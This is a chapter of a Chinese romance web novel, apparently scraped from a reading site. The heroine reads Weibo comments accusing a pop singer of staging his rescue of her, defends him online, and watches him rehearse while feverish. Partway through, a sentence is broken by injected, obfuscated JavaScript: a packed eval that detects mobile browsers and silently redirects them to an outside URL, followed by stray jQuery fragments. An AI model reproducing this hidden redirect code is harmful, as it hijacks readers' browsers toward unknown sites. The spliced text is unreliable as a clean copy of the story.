在大脑思考前，身体已经先一步做出反应。
云缇迅速贴在车门上，避开了他的手。
指尖触到的只有风。
那缕发丝像一道墨痕，从季煦礼指尖滑走，只留下一阵淡淡的痒。
他的指节仍微微屈着，保持着虚握的姿势，可惜什么都没抓住，只有空气在指间流动。指腹残留着发丝划过时留下的触感，细细软软，让人不太确定是否真实存在过。
季煦礼手在空中顿了顿，随即若无其事地落在自己膝上。
窗外有灯闪进他的眼睛，眸里有什么亮了又暗，最后归于沉寂。
他短促地笑了下，没什么温度：“你对陌生人倒是很上心。”
车内安静得像是被抽干了空气。
年轻男人不再说话，平淡地收回了目光。那句话就这样不轻不重地落下，像是太碎小的颗粒落入水中，半点儿水花都没溅起。
但云缇敏感地察觉到后半句未尽的言语。
她张了张嘴，想说些什么。
驾驶位的车门忽然被拉开，外界喧嚣涌进来，小张迅速钻进车内，重新关上门，语速飞快地说：“抱歉抱歉，煦哥久等了，咱现在就出发。”
季煦礼已经重新合上眼，靠在椅背上，不冷不热地应声。
她只好把未尽的话语尽数咽回去。
小张通过后视镜打量后排座的二人，再神经大条也能意识到气氛不对，只得眼观鼻鼻观心，不再说话。
保姆车慢吞吞地在路上行驶。
路上很堵，车内很安静。
云缇保持着靠在车门上的姿势，尽最大可能和季煦礼拉远距离。
对季煦礼刚才那句话微妙的不悦还未散去。
她抿直嘴唇，努力挥散这点儿不快，又记挂着刚才在街口发生的事，垂眸看向手机，开始在微博搜索。
微博广场第一条就是今天的视频。
云缇迅速点开，开倍速看了好几遍。
没有任何一帧露出她的脸。
她提着口气，开始翻看评论区。
最上面几条全是大粉控评，到后面便吵成一锅粥了。
【季煦礼人真的好好啊……路见不平拔刀相助！】
【真的，他和粉丝说话的语气也好温柔，呜呜呜我哭死，怎么我不在现场！】
【你们看他手上青筋都爆了，要不是季煦礼在那个女生肯定会有危险啊，真是苏爆了！】
【笑死，粉丝还在这儿感动呢。你家哥哥攥人手腕的劲儿一看就是练过的，练习怎么在镜头前“帅气地”制止坏人。真打起来他敢吗？】
【不是，就为了这事儿送演唱会内场门票是不是太不公平了？】
【这操作太刻意了吧，还全程有人跟拍，你说不是摆拍谁信？】
【季煦礼肯定跟这女的有一腿，不然为什么护这么紧？明星平时能和工作人员贴这么近？】
【都说了事发突然，黄谣张口就来？】
【剧本吧……明星出门不带保镖不带助理？还正好被拍下来了？季煦礼这咖位还搞这套，好掉价。】
【我在现场，真不是剧本。那几个高中生真的完全就是霸凌，那个姐姐是第一个站出来的人，也就只有她一个人。季煦礼后面才过来。】
【楼上，群演一天200。想必你家正主也不差这点儿钱。】
【只要帮季煦礼说话就马上按头粉籍？有没有王法了。】
【之前不是对记者冷脸吗……现在买热搜洗什么……】
【来分析一下时间线，季煦礼下个月巡回演唱会开场，这个节骨眼“恰好”路见不平，“恰好”被人拍到——营销学经典案例，这波预热我给满分。】
【……】
云缇心情复杂，在评论区翻了好半天都没翻到底。
手指有些凉。
方才的不快已经被此刻的情绪取而代之。
她犹豫一瞬，点了一下回复键，拇指悬在输入框上方，删删改改，最后还是发了出去。
【要是被扇巴掌的是你，你希望身边人是冷眼旁观还是像季煦礼这样出手相助？】
手指有些抖，她继续往下翻，又选中回复。
【走在路上帮同事一把，在你嘴里就成了见不得人的事，平时生活很不如意吧？】
【是真是假，被帮助的人会记住。】
活了二十五年，她从来没有在网上和人吵过架，甚至从来没在网上发过言。
但季煦礼毕竟是因为她才平白遭此一难，要是自己不说点儿什么，她心中也过意不去。
虽然她现在的回复在几十万评论里也微不足道，甚至语气还不如粉丝控评时强有力，但这已经是她绞尽脑汁想出的全部。
她的微博什么都没发过，连ID都是默认的字母和数字，甚至没有实名，不会有任何人知道她是谁。
心跳很快。
不再是为可能被开盒而担忧，而是因为头一次在网络上维护谁。
很快，就有人回复她的评论。
【群演只能记住今天的两百块^^】
【那季煦礼从出现到出手中间这十几秒停顿是在干嘛？当然是在等镜头到位啊，真正的见义勇为哪有这么多讲究，你们粉丝能不能别再闭眼爱了。】
云缇盯着屏幕，忽然觉得有些冷。
她想起在那个瞬间，那高个子即将挥下来的巴掌，想起那时大脑的空白和抑制不住的恐慌，想起从耳侧擦过去的手，还有季煦礼泛白的指节。
而这些人在遥远的地方不屑一顾地敲下“剧本”、“摆拍”、“营销”的字样。
说不清道不明的凉意从骨头缝里渗出来。
明明知道发生了什么，可是不论怎么说，都不会有人相信。
网友只想相信自己愿意相信的，并借此发泄自己的情绪。
她把手机扣在腿上，靠着车窗，眼眸一转，看向季煦礼。
季煦礼入行也有四年了。
这样的评论绝不只出现了这么一次。
他每次看到这些评论的时候，都在想什么呢？
云缇抿直嘴唇。
这简直是世上最不公平的事。
做了好事，却得不到赞扬，反而被恶意揣测、谩骂诋毁。
明明他是不用经历这些的。
他原可以做一辈子骄傲的天之骄子，只与鲜花和美名相伴。
在季煦礼有所察觉，并侧目朝她往过来的前一秒，云缇迅速闭上眼睛。
那份不解在心中漾开。
——季煦礼为什么会成为歌手？
///
高架桥上的确很堵，他们抵达场馆时，天已彻底黑下来。
季煦礼在后半程始终一言不发，保姆车停好后便冷着脸推门离开，完全把云缇视为空气。
小张望着季煦礼的背影挠了挠头，面上有些着急。他回头冲云缇笑笑，满怀歉意道：
“不好意思啊，今天煦哥发烧了，精神不太好，他平时还是很好相处的。”
说罢，不等云缇回答，他赶紧拿着水杯跟了上去。
云缇站在原地，怔怔地眨了眨眼。
几秒后，她才抬腿朝场馆的方向走。
Jessica正站在场馆门口等她，看着她和季煦礼二人一前一后走进来，挑了挑眉，抓住她的胳膊，压低声音问：“你真和小张没什么？别瞒着我。”
“真没什么。”云缇不得不停下脚步，“就是顺路把我捎过来了。?”
Jessica冷笑：“顺路——少给我来这套，你以为季煦礼会随便点头让人搭便车吗？”
看着对方这副严防死守办公室恋情的架子，云缇不得不简单地把下午的事儿陈述一遍，再翻出那条微博视频以作佐证。
确认了事情的真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489048|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实性，Jessica才肯罢休，拍了拍她的肩膀，夸了她句见义勇为，随后话锋一转，开始飞快地和她交代今晚的工作。
云缇勉强跟上Jessica过快的脚步，一面听一面点头，在心里默默又重复了一遍大概流程，以免自己忘记。
舞台已经搭好，确定灯光音响没问题后，季煦礼便站上去开始彩排。
年轻男人棒球帽压得很低，帽檐下露出几缕没打理过的碎发，宽大的灰色T恤也被他撑出养眼的版型。
灯光师只留了一束光，打在他头顶，将他整个人笼罩进略显清冷的光晕里。
没有妆容，也没有发蜡抓出的发型，他的脸上甚至还能辨出几分倦色。
云缇和其他人一起，仰头看着站在聚光灯下的季煦礼。
就像高中时，她挤在人群里无数次的抬头。
青年站在话筒前，微微低头，试了下音。
第一个鼓点敲在心头。
周遭所有杂音都消失了。
季煦礼的声音从音响里缓缓流淌出来，比平时说话低些，像砂纸摩挲木面，让他的声线拥有特别的质地。
在场所有工作人员都在看他。
云缇的视线也不再躲闪，头一次持续地落在季煦礼身上。
他的状态太好，先前还气定神闲地解决了那几个飞扬跋扈的高中生和拍摄的粉丝，若不是小张说了那句话，她完全看不出他正在发烧。
仔细看，才注意到他两侧颧骨一小片不自然的红。
身体的不适让他的嗓音比平时多了几分不一样的温度，像琴弦被调松了半度，每一个音都带着点儿微颤的尾调。
整场彩排，他几乎没有看过台下，目光只虚虚落在话筒或是远处无人的座位上。
鼓点渐密，青年仰起头，闭上眼，睫毛在眼下透出浅浅的影，聚光灯打在脸上，勾勒出他五官的轮廓，让那两坨薄红更加明显。
“*我哼着从前的歌，那时的你和我……”
旋律从他喉咙里缓缓流出，气息比之前更稳一点儿，猛地往下一沉。
“……天冷了，入秋了，
我点燃回忆的灯火……”
云缇的心也被他的声线勾住往下坠。
她几乎是不受控制地想起多年前的初秋。
闷热的音乐教室，散乱的桌椅。
穿着白衬衫的少年吊儿郎当地坐在桌上，抱着吉他，手随意一拨，就是清亮的琶音。
时下流行的情歌，他把词咬得含糊，桃花眼却直勾勾盯着她，长而直的睫毛随着节拍颤啊颤，在眼底落下一小片影。
是和现在截然不同的音色，却又能轻易辨出同一人的特色。
最后一个音滑出，带点蓝调的涩。
少年歪了歪头，手指还按在弦上，弦不震了，只有雨还在震。
“我最讨厌弹琴，也就你有这个待遇，让我破例一回。”
他倾身凑近，悄无声息地握住她的指尖，尾音拖得很长：“你要怎么回报？”
那天的回答，她已记不清。
只记得，忽然倾倒的雨声噼啪。
心也被泡软。
“……”
耳膜被鼓点刺激，她恍然回神，攥紧自己空荡荡的手指，目光重新聚焦在七年后的青年身上。
他低低的歌声还在继续，因为是彩排，所以站姿也显得随意，一手搭在话筒上，一手插在兜里，连咬字都显得散漫。
“梧桐落添几分秋，你一人远走。”
最后一个音落下，他忽然低头，目光穿过聚光灯的边界，越过调音台上闪烁的指示灯，准确无误地朝台下某个位置看来。
季煦礼的视线停住了。
他喉结上下滚动，像吞咽了什么，声音却没有断，顺着涩意滑进下一句歌词里。
“无言独走上西楼，
望不到，你回眸。”